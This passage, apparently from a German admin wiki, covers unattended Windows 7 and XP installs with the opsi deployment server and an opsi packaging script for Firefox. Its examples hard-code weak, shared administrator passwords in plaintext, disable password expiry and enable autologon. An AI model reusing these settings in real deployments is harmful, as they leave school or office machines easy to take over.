				&amp;lt;/Password&amp;gt;&lt;br /&gt;
			&amp;lt;/AutoLogon&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
			&amp;lt;Display&amp;gt;&lt;br /&gt;
				&amp;lt;ColorDepth&amp;gt;32&amp;lt;/ColorDepth&amp;gt;&lt;br /&gt;
				&amp;lt;DPI&amp;gt;96&amp;lt;/DPI&amp;gt;&lt;br /&gt;
				&amp;lt;HorizontalResolution&amp;gt;1024&amp;lt;/HorizontalResolution&amp;gt;&lt;br /&gt;
				&amp;lt;RefreshRate&amp;gt;75&amp;lt;/RefreshRate&amp;gt;&lt;br /&gt;
				&amp;lt;VerticalResolution&amp;gt;768&amp;lt;/VerticalResolution&amp;gt;&lt;br /&gt;
			&amp;lt;/Display&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/custom&lt;br /&gt;
bzw.&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/custom&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation eines neuen Windows Rechners ueber opsi (OS-Installation) (Windows XP x86)&lt;br /&gt;
Kopieren Sie den Inhalt des i386 Verzeichnis einer Installations-CD fuer Microsoft WinXP Professional in das Verzeichnis /opt/pcbin/install/winxppro/i386 auf dem opsi-server. Sorgen Sie anschliessend noch dafuer, dass das Verzeichnis i386 die richtigen Rechte fuer den Zugriff durch den Installationsprozess hat:&lt;br /&gt;
opsi-setup --set-rights /opt/pcbin/install/winxppro/i386&lt;br /&gt;
Statt vom opsi-server aus unter Linux koennen Sie die Dateien auch ueber das Windows-Netzwerk kopieren. Dafuer muessen Sie sich mit der Freigabe opt_pcbin auf dem opsi-server als Benutzer pcpatch verbinden. Das entsprechende Verzeichnis befindet sich auf der Freigabe in install\winxppro.&lt;br /&gt;
Anpassungen der Installation, z.B. Proxy oder Administrator Passwort, kann man unter /opt/pcbin/install/winxppro/custom/unattend.txt vornehmen.&lt;br /&gt;
Z.B.:&lt;br /&gt;
 [GuiUnattended]&lt;br /&gt;
 AdminPassword = P@ssw0rd&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ueber die Management-Oberflaeche unter Netboot-Produkte kann man auch den Aktivation Key fuer die einzelnen Windows Versionen pro Client hinterlegen oder man setzt diesen Global fuer ein Betriebssystem:&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;productkey&amp;quot; &amp;quot;xxxxx-xxxxx-xxxxx-xxxxx-xxxxx&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;productkey&amp;quot; &amp;quot;xxxxx-xxxxx-xxxxx-xxxxx-xxxxx&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP Pro 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;productkey&amp;quot; &amp;quot;xxxxx-xxxxx-xxxxx-xxxxx-xxxxx&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Des Weiteren kann man mit Hilfe von opsi-admin auch weitere Einstellungen wie z.B. orgname, fullname und auch die Windows 7 Version (imagename) vornehmen:&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;orgname&amp;quot; &amp;quot;Stadt Herne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;fullname&amp;quot; &amp;quot;StadtHerne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;imagename&amp;quot; &amp;quot;Windows 7 PROFESSIONAL&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;orgname&amp;quot; &amp;quot;Stadt Herne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;fullname&amp;quot; &amp;quot;StadtHerne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;imagename&amp;quot; &amp;quot;Windows 7 PROFESSIONAL&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP:&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;orgname&amp;quot; &amp;quot;Stadt Herne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;fullname&amp;quot; &amp;quot;StadtHerne&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Falls man es nicht will das beim Neuinstallieren der Netbootprodukte nachgefragt werden soll ob man dies auch wirklich moechte, kann man folgendes setzen:&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;askbeforeinst&amp;quot; &amp;quot;False&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;askbeforeinst&amp;quot; &amp;quot;False&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP:&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;askbeforeinst&amp;quot; &amp;quot;False&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Diese Werte kann man sich auch wie folgt anzeigen lassen:&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method getProductProperties_hash win7 opsi.oppserver.net&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method getProductProperties_hash win7-x64 opsi.oppserver.net&lt;br /&gt;
Fuer Windows XP:&lt;br /&gt;
 opsi-admin -d method getProductProperties_hash winxppro opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um einen Benutzer der Installation hinzuzufuegen, gehen wir wie folgt vor:&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
In /opt/pcbin/install/win7/custom/unattend.xml in der Section &amp;lt;LocalAccounts&amp;gt; folgendes hinzufuegen:&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schulleiter&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Administrators&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schulleiter&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schulleiter&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Lehrer&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Powerusers&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Lehrer&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Lehrer&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schueler&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Users&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schueler&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schueler&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/custom&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
In /opt/pcbin/install/win7-x64/custom/unattend.xml in der Section &amp;lt;LocalAccounts&amp;gt; folgendes hinzufuegen:&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schulleiter&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Administrators&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schulleiter&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schulleiter&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Lehrer&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Powerusers&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Lehrer&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Lehrer&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schueler&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Users&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schueler&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schueler&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/custom&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP funktioniert dies ein wenig anders:&lt;br /&gt;
/opt/pcbin/install/winxppro/custom/\$oem\$/cmdlines.txt mit folgendem Inhalt anlegen:&lt;br /&gt;
 [COMMANDS]&lt;br /&gt;
 &amp;quot;useraccounts.cmd&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/opt/pcbin/install/winxppro/custom/\$oem\$/useraccounts.cmd mit folgendem Inhalt anlegen:&lt;br /&gt;
 net user Schulleiter starten /add&lt;br /&gt;
 net localgroup Administratoren Schulleiter /add&lt;br /&gt;
 net user Lehrer starten /add&lt;br /&gt;
 net localgroup Administratoren Lehrer /add&lt;br /&gt;
 net user Schueler /add&lt;br /&gt;
 net accounts /maxpwage:unlimited&lt;br /&gt;
 REGEDIT /S autologon.reg&lt;br /&gt;
 EXIT&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom/\$oem\$&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Moechte man unter Windows XP eine automatische Aktivierung, muss man in /opt/pcbin/install/winxppro/custom/unattend.txt den AutoActivate Wert von No in Yes aendern:&lt;br /&gt;
 AutoActivate = Yes&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
Fuer die Display Aufloesung muss man den folgenden Wert in /opt/pcbin/install/winxppro/custom/unattend.txt aendern:&lt;br /&gt;
 [Display]&lt;br /&gt;
 ConfigureAtLogon = 1&lt;br /&gt;
 BitsPerPel = 32&lt;br /&gt;
 XResolution = 1024&lt;br /&gt;
 YResolution = 768&lt;br /&gt;
 VRefresh = 75&lt;br /&gt;
 ;flags = 0&lt;br /&gt;
 AutoConfirm = 1&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
Will man unter Windows XP kein klassisches Menue/Theme, muss man folgendes in /opt/pcbin/install/winxppro/custom/unattend.txt aendern:&lt;br /&gt;
 [Shell]&lt;br /&gt;
 DefaultStartPanelOff = No&lt;br /&gt;
 DefaultThemesOff = No&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun zur Erstellung der Softwarepakete, die nachher auf den Client Rechner installiert werden sollen.&lt;br /&gt;
Vorlagen fuer die install.ins und uninstall.ins habe ich mir hier https://forum.opsi.org/wiki/userspace:script_templates gesorgt und angepasst.&lt;br /&gt;
Als Beispiel nun einmal fuer Firefox:&lt;br /&gt;
 cd /home/opsiproducts&lt;br /&gt;
 opsi-newprod&lt;br /&gt;
&lt;br /&gt;
Hier geben wir nun einige Daten zu dem Produkt an.&lt;br /&gt;
 Bitte Produkt-Typ auswaehlen&lt;br /&gt;
 localboot -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Produkt-ID       firefox&lt;br /&gt;
 Produkt-Name     Firefox&lt;br /&gt;
 Beschreibung     Firefox Webbrowser&lt;br /&gt;
 Hinweis          Firefox&lt;br /&gt;
 Produkt-Version  16.0.1&lt;br /&gt;
 Paket-Version    1&lt;br /&gt;
 Lizenzpflichtig  False&lt;br /&gt;
 Prioritaet        0&lt;br /&gt;
 -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Setup-Skript                install.ins&lt;br /&gt;
 Uninstall-Skript            uninstall.ins&lt;br /&gt;
 Update-Skript               &lt;br /&gt;
 Always-Skript               &lt;br /&gt;
 Once-Skript                 &lt;br /&gt;
 Custom-Skript               &lt;br /&gt;
 Benutzer-Anmeldungs-Skript  &lt;br /&gt;
 -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Wollen Sie eine Produkt-Abhaengigkeit definieren?&lt;br /&gt;
 Nein&lt;br /&gt;
&lt;br /&gt;
 Wollen Sie eine Produkt-Eigenschaft definieren?&lt;br /&gt;
 Nein&lt;br /&gt;
&lt;br /&gt;
 Informationen zum Betreuer&lt;br /&gt;
 Name des Betreuers    Oliver Schuetz&lt;br /&gt;
   E-Mail des Betreuers  admin@oppserver.net&lt;br /&gt;
 -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Fertig&lt;br /&gt;
 Das Paket-Quellverzeichnis &#039;/home/opsiproducts/firefox&#039; wurde erzeugt.&lt;br /&gt;
&lt;br /&gt;
Jetzt erstellen wir die benoetigten &amp;quot;Install&amp;quot; und &amp;quot;Uninstall&amp;quot;-files, die Anweisungen enthalten, wie das Paket nachher installiert werden soll.&lt;br /&gt;
Die Ordnerstruktur sollte dann wie folgt aussehen:&lt;br /&gt;
 root@opsi:/firefox/#&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2584  4. Jun 20:48 delsub.ins&lt;br /&gt;
 drwxr-xr-x 2 root pcpatch  4096 27. Sep 12:59 files&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch 40074  4. Jun 20:48 icon.bmp&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  4477 27. Sep 12:56 install.ins&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2017  4. Jun 20:48 uninstall.ins&lt;br /&gt;
 root@opsi:/firefox/files/#&lt;br /&gt;
 -rw-r--r-- 1 root root    17653976 27. Sep 10:36 Firefox Setup 16.0.1.exe&lt;br /&gt;
&lt;br /&gt;
Die Datei install.ins sieht wie folgt aus:&lt;br /&gt;
 [Initial]&lt;br /&gt;
 ; Script angepasst von Oliver Schuetz&lt;br /&gt;
 LogLevel=2&lt;br /&gt;
 ;  Log Errors in Logfile but don&#039;t abort:&lt;br /&gt;
 ExitOnError=false&lt;br /&gt;
 ; Show syntax errors in the script:&lt;br /&gt;
 ScriptErrorMessages=on&lt;br /&gt;
 ; Dont trace step by step through the script:&lt;br /&gt;
 TraceMode=off&lt;br /&gt;
 ; let started programs run in front of the winst window&lt;br /&gt;
 StayOnTop=false&lt;br /&gt;
 &lt;br /&gt;
 [Aktionen]&lt;br /&gt;
 DefVar $ProductId$&lt;br /&gt;
 DefVar $InstallDir$&lt;br /&gt;
 DefVar $NewExe$&lt;br /&gt;
 DefVar $PRODUCTPATH$&lt;br /&gt;
 DefStringList $profiles$&lt;br /&gt;
 DefVar $akt_profile_ini$&lt;br /&gt;
 DefVar $rel_prefs_path$&lt;br /&gt;
 DefVar $akt_prefs_path$&lt;br /&gt;
 DefVar $TEMP$&lt;br /&gt;
 DefVar $OS$&lt;br /&gt;
 DefVar $UninstallCommand$&lt;br /&gt;
 DefVar $MozInstallDir$&lt;br /&gt;
 DefVar $MozVersion$&lt;br /&gt;
 DefVar $MozInstallPathRegKey$&lt;br /&gt;
 DefVar $PROXY_HOSTNAME_OR_IP$&lt;br /&gt;
 DefVar $PROXY_PORT$&lt;br /&gt;
 DefVar $NOPROXY_HOSTS$&lt;br /&gt;
 DefVar $PREF_FILE$&lt;br /&gt;
 DefStringList $languageInfo$&lt;br /&gt;
 DefVar $language$&lt;br /&gt;
 DefVar $AppData$&lt;br /&gt;
 DefVar $SilentSwitch$&lt;br /&gt;
 DefVar $ExitCode$&lt;br /&gt;
 DefVar $FIREFOXVER$&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
 ; ----------------------------------------------------------------------&lt;br /&gt;
 Set $TEMP$ = EnvVar(&amp;quot;TEMP&amp;quot;)&lt;br /&gt;
 Set $PRODUCTPATH$=&amp;quot;%ProgramFilesDir%\Mozilla Firefox&amp;quot;&lt;br /&gt;
 Set $MozInstallDir$ = $PRODUCTPATH$&lt;br /&gt;
 set $InstallDir$=$PRODUCTPATH$&lt;br /&gt;
 set $NewExe$= $PRODUCTPATH$+&amp;quot;\&amp;quot;&lt;br /&gt;
 set $ProductId$ = &amp;quot;firefox&amp;quot;&lt;br /&gt;
 set $OS$ = GetNTVersion&lt;br /&gt;
 set $FIREFOXVER$ = &amp;quot;Firefox Setup 16.0.1.exe&amp;quot;&lt;br /&gt;
 set $SilentSwitch$ = &amp;quot;-ms&amp;quot;&lt;br /&gt;
 ; ----------------------------------------------------------------------&lt;br /&gt;
 ; Haben wir genug Speicherplatz?&lt;br /&gt;
 if not(HasMinimumSpace (&amp;quot;%SYSTEMDRIVE%&amp;quot;, &amp;quot;30 MB&amp;quot;))&lt;br /&gt;
    LogError &amp;quot;Nicht genuegend Platz auf C: . 30 MB auf C: fuer Firefox erforderlich.&amp;quot;&lt;br /&gt;
    isFatalError&lt;br /&gt;
    comment &amp;quot;Bearbeitung beenden und Produktschalter auf failed setzen&amp;quot;&lt;br /&gt;
 else&lt;br /&gt;
    comment &amp;quot;Zeige Produkt Bild&amp;quot;&lt;br /&gt;
    ShowBitmap /3 &amp;quot;%scriptpath%\icon.bmp&amp;quot; &amp;quot;Firefox&amp;quot;&lt;br /&gt;
    if FileExists(&amp;quot;%ScriptPath%\delsub.ins&amp;quot;)&lt;br /&gt;
        comment &amp;quot;start delsub.ins&amp;quot;&lt;br /&gt;
        sub &amp;quot;%ScriptPath%\delsub.ins&amp;quot;&lt;br /&gt;
    endif&lt;br /&gt;
    comment &amp;quot;Meldung waehrend der Installation:&amp;quot;&lt;br /&gt;
    Message &amp;quot;Installiere Firefox...&amp;quot;&lt;br /&gt;
    comment &amp;quot;Stoppe alle laufenden Firefox&amp;quot;&lt;br /&gt;
    killtask &amp;quot;firefox.exe&amp;quot;&lt;br /&gt;
    comment &amp;quot;pruefe nach depotshare&amp;quot;&lt;br /&gt;
    if not (FileExists(&amp;quot;%SCRIPTPATH%&amp;quot;))&lt;br /&gt;
        DosInAnIcon_TryToReconnect&lt;br /&gt;
    endif&lt;br /&gt;
  &lt;br /&gt;
    comment &amp;quot;Starte Setup Programm&amp;quot;&lt;br /&gt;
    Files_copy_local&lt;br /&gt;
    Winbatch_firefox&lt;br /&gt;
    sub_check_exitcode&lt;br /&gt;
    comment &amp;quot;Stope alle laufenden Firefox&amp;quot;&lt;br /&gt;
    killtask &amp;quot;firefox.exe&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
    if not(FileExists($NewExe$))&lt;br /&gt;
        logError &amp;quot;Fatal: Nach der Installation &amp;quot;+$NewExe$+&amp;quot; nicht gefunden&amp;quot;&lt;br /&gt;
        isFatalError&lt;br /&gt;
    endif&lt;br /&gt;
 &lt;br /&gt;
    comment &amp;quot;loesche temporaere Dateien&amp;quot;&lt;br /&gt;
    Files_del&lt;br /&gt;
 endif&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 [Files_copy_local]&lt;br /&gt;
 copy -x &amp;quot;%SCRIPTPATH%\files\$FIREFOXVER$&amp;quot; c:\tmp&lt;br /&gt;
 copy -s &amp;quot;%scriptpath%\firefox-profile\*&amp;quot; &amp;quot;$InstallDir$\defaults\profile\.&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 [Files_del]&lt;br /&gt;
 delete -f &amp;quot;c:\tmp\$FIREFOXVER$&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 [Winbatch_firefox]&lt;br /&gt;
 ; see http://wiki.mozilla.org/Installer:Command_Line_Arguments&lt;br /&gt;
 &amp;quot;c:\tmp\$FIREFOXVER$&amp;quot; $SilentSwitch$&lt;br /&gt;
  &lt;br /&gt;
 [dosbatch_profiledir]&lt;br /&gt;
 @echo off&lt;br /&gt;
 dir &amp;quot;%ProfileDir%&amp;quot; /b&lt;br /&gt;
  &lt;br /&gt;
 [DosInAnIcon_TryToReconnect]&lt;br /&gt;
 net use&lt;br /&gt;
 set TIMEOUT=&lt;br /&gt;
 :TRY&lt;br /&gt;
     if exist &amp;quot;%SCRIPTPATH%\.&amp;quot; goto READY&lt;br /&gt;
     %ScriptDrive%&lt;br /&gt;
     set TIMEOUT=%TIMEOUT%1&lt;br /&gt;
     if %TIMEOUT% == 1111111111111111 goto READY&lt;br /&gt;
     sleep 1&lt;br /&gt;
     net use&lt;br /&gt;
     goto TRY&lt;br /&gt;
 :READY&lt;br /&gt;
  &lt;br /&gt;
 [PatchTextFile_profile_proxy_file]&lt;br /&gt;
 Set_Netscape_User_Pref (&amp;quot;network.proxy.type&amp;quot;, 2)&lt;br /&gt;
 Set_Netscape_User_Pref (&amp;quot;network.proxy.autoconfig_url&amp;quot;, &amp;quot;file:///$PROXY_HOSTNAME_OR_IP$&amp;quot;)&lt;br /&gt;
  &lt;br /&gt;
 [sub_check_exitcode]&lt;br /&gt;
 comment &amp;quot;test for installation success via exit code&amp;quot;&lt;br /&gt;
 set $ExitCode$ = getLastExitCode&lt;br /&gt;
 ; informations to exit codes see&lt;br /&gt;
 ; http://msdn.microsoft.com/en-us/library/aa372835(VS.85).aspx&lt;br /&gt;
 ; http://msdn.microsoft.com/en-us/library/aa368542.aspx&lt;br /&gt;
 if ($ExitCode$ = &amp;quot;0&amp;quot;)&lt;br /&gt;
   comment &amp;quot;looks good: setup program gives exitcode zero&amp;quot;&lt;br /&gt;
   else&lt;br /&gt;
   comment &amp;quot;Setup program gives a exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
   if ($ExitCode$ = &amp;quot;1605&amp;quot;)&lt;br /&gt;
      comment &amp;quot;ERROR_UNKNOWN_PRODUCT   1605   This action is only valid for products that are currently installed.&amp;quot;&lt;br /&gt;
      comment &amp;quot;Uninstall of a not installed product failed - no problem&amp;quot;&lt;br /&gt;
   else&lt;br /&gt;
      if ($ExitCode$ = &amp;quot;1641&amp;quot;)&lt;br /&gt;
         comment &amp;quot;looks good: setup program gives exitcode 1641&amp;quot;&lt;br /&gt;
         comment &amp;quot;ERROR_SUCCESS_REBOOT_INITIATED   1641   The installer has initiated a restart. This message is indicative of a success.&amp;quot;&lt;br /&gt;
      else&lt;br /&gt;
         if ($ExitCode$ = &amp;quot;3010&amp;quot;)&lt;br /&gt;
            comment &amp;quot;looks good: setup program gives exitcode 3010&amp;quot;&lt;br /&gt;
            comment &amp;quot;ERROR_SUCCESS_REBOOT_REQUIRED   3010   A restart is required to complete the install. This message is indicative of a success.&amp;quot;&lt;br /&gt;
         else&lt;br /&gt;
            logError &amp;quot;Fatal: Setup program gives an unknown exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
            isFatalError&lt;br /&gt;
         endif&lt;br /&gt;
      endif&lt;br /&gt;
   endif&lt;br /&gt;
 endif&lt;br /&gt;
&lt;br /&gt;
Die Datei uninstall.ins sieht wie folgt aus:&lt;br /&gt;
 [Initial]&lt;br /&gt;
 ; Script angepasst von Oliver Schuetz&lt;br /&gt;
 Message=Deinstalliere Firefox ...&lt;br /&gt;
 LogLevel=2&lt;br /&gt;
 ExitOnError=false&lt;br /&gt;
 ScriptErrorMessages=on&lt;br /&gt;
 TraceMode=off&lt;br /&gt;
 &lt;br /&gt;
 [Actions]&lt;br /&gt;
 requiredWinstVersion &amp;gt;= &amp;quot;4.10.8.6&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 DefVar $UninstallProgram32$&lt;br /&gt;
 DefVar $MsiId64$&lt;br /&gt;
 DefVar $UninstallProgram64$&lt;br /&gt;
 DefVar $LogDir$&lt;br /&gt;
 DefVar $ExitCode$&lt;br /&gt;
 DefVar $ProductId$&lt;br /&gt;
 DefVar $MozInstallDir$&lt;br /&gt;
 DefVar $MozInstallDir64$&lt;br /&gt;
 DefVar $LicenseRequired$&lt;br /&gt;
 DefVar $LicensePool$&lt;br /&gt;
 DefVar $INST_SystemType$&lt;br /&gt;
 DefVar $INST_architecture$&lt;br /&gt;
 DefVar $UninstallCommand$&lt;br /&gt;
  &lt;br /&gt;
 Set $INST_SystemType$ = GetSystemType&lt;br /&gt;
 set $INST_architecture$ = GetProductProperty(&amp;quot;install_architecture&amp;quot;,&amp;quot;system specific&amp;quot;)&lt;br /&gt;
  &lt;br /&gt;
 Set $LogDir$ = &amp;quot;%SystemDrive%\tmp&amp;quot;&lt;br /&gt;
 ; ----------------------------------------------------------------&lt;br /&gt;
 ; - Please edit the following values                             -&lt;br /&gt;
 ; ----------------------------------------------------------------&lt;br /&gt;
 Set $ProductId$       = &amp;quot;firefox&amp;quot;&lt;br /&gt;
 Set $MozInstallDir$    = &amp;quot;%ProgramFilesDir%\Mozilla Firefox&amp;quot;&lt;br /&gt;
 Set $LicenseRequired$ = &amp;quot;false&amp;quot;&lt;br /&gt;
 Set $LicensePool$     = &amp;quot;p_&amp;quot; + $ProductId$&lt;br /&gt;
 ; ----------------------------------------------------------------&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
 comment &amp;quot;Zeige Produkt Bild&amp;quot;&lt;br /&gt;
 ShowBitmap &amp;quot;%ScriptPath%\&amp;quot; + &amp;quot;icon.bmp&amp;quot; $ProductId$&lt;br /&gt;
  &lt;br /&gt;
 Message &amp;quot;Deinstalliere &amp;quot; + $ProductId$ + &amp;quot; ...&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
